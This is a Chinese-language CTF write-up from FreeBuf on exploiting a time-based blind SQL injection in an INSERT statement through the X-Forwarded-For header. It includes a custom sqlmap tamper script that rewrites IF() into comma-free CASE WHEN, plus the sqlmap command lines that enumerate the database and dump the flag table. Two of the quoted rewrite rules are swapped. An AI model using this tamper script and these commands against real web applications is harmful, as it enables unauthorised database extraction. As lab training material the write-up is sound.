SQLMap Insert注入踩坑記
*本文原創作者:Conan,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載
前言
本篇文章是在做ctf bugku的一道sql insert盲注的題(題目地址: ofollow,noindex" target="_blank">insert盲注 )中踩到的坑,覺得還挺有趣的,於是便有了今天的文章,如有紕漏還望大佬們多多指正。
進入主題
1. 判斷注入點 明顯的insert型別的注入,注入點在X-Forwarded-For,但關閉了錯誤提示並且沒有回顯,因此只能進行時間盲注獲取flag。
2. 使用sqlmap獲取資料(首先說明一下,網上有這道題的writeup,編寫python指令碼暴庫,但懶人表示能sqlmap就sqlmap吧,雖然可能需要踩坑。)
(1)直接使用sqlmap看看能否判斷
python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --dbms SQL/">MySQL
可以看到sqlmap識別為false positive,原因是圖片中箭頭所指的payload:
' OR 6634=IF((58=58),SLEEP(5),6634) AND 'GTiD'='GTiD
中使用了逗號(,),而insert注入中使用了逗號則會破壞語句結構,因此這裡相當於過濾了逗號。
(2)編寫tamper指令碼(if2casewhen.py)改寫IF型別的判斷為CASE-WHEN可以不使用逗號。
看了一遍tamper指令碼發現沒有這個改寫規則,於是就只能自立更生了。
#!/usr/bin/env python """ Author: Conan0xff """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces instances like 'IF(A,B,C)' with 'CASE WHEN (A) THEN (B) ELSE (C) END' counterpart Requirement: * MySQL * SQLite (possibly) * SAP MaxDB (possibly) Tested against: * MySQL 5.0 and 5.5 Notes: * Useful to bypass very weak and bespoke web application firewalls that filter the IFNULL() functions >>> tamper('IF(1=1,1,2)') 'CASE WHEN (1=1) THEN (1) ELSE (2) END' """ if payload and payload.find("IF") > -1: while payload.find("IF(") > -1: index = payload.find("IF(") depth = 1 comma1,comma2, end =None, None, None for i in xrange(index + len("IF("), len(payload)): if depth == 1 and payload[i] == ',' and comma1 is None: comma1 = i #the seccond comma if depth == 1 and payload[i] == ',' and comma1 is not None: comma2 = i elif depth == 1 and payload[i] == ')': end = i break elif payload[i] == '(': depth += 1 elif payload[i] == ')': depth -= 1 if comma1 and comma2 and end: _ = payload[index + len("IF("):comma1] __= payload[comma1+1:comma2] ___ = payload[comma2 + 1:end].lstrip() newVal = "(CASE WHEN (%s) THEN (%s) ELSE (%s) END)" % (_, __, ___) payload = payload[:index] + newVal + payload[end + 1:] else: break return payload
使用tamper再跑一遍
python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --dbms MySQL --tamper if2casewhen
可以看到成功識別為vulnerable,payload中的if語句也成功轉換為case-when語句。
(3)試試看跑資料庫呢
python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --dbms MySQL --tamper if2casewhen --dbs
可以看到由於使用了函式mid 和 ifnull也需要用到逗號,因此無法獲取資料庫名,所幸sqlmap的tamper腳本里有了可以不使用逗號的mid和ifnull的改寫規則:
ifnull2casewhenisnull.py: MID(VERSION(), 1, 1) ====> MID(VERSION() FROM 1 FOR 1)
commalessmid.py: IFNULL(1, 2) ====> CASE WHEN ISNULL(1) THEN (2) ELSE (1) END
新增上述兩個tamper再跑一次看看
python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --tamper if2casewhen,ifnull2casewhenisnull,commalessmid --dbms MySQL --dbs --nocast
可以看到成功跑出資料庫 web15
(4)試試看跑表
python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --tamper if2casewhen,ifnull2casewhenisnull,commalessmid -D web15 --tables MySQL --dbs --nocast
使用爆破的方式跑表成功爆出兩張表
(5)跑flag表的列以及資料
python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --tamper if2casewhen,ifnull2casewhenisnull,commalessmid -D web15 -T flag --dump MySQL --dbs --nocast
可以看到爆破除了列名,但由於limit使用了逗號也導致了無法獲取列資料,sqlmap tamper中還有麼?
沒錯,就是commalesslimit.py,改寫規則如下:
LIMIT 2, 3 ====> LIMIT 3 OFFSET 2
加上該tamper再跑一次
python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --tamper if2casewhen,ifnull2casewhenisnull,commalessmid,commalesslimit -D web15 -T flag --dump MySQL --dbs --nocast
可以看到成功注出flag。
總結
insert注入其實也是可以sqlmap一把梭的,關鍵看payload的定製和改寫=。=
*本文原創作者:Conan,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載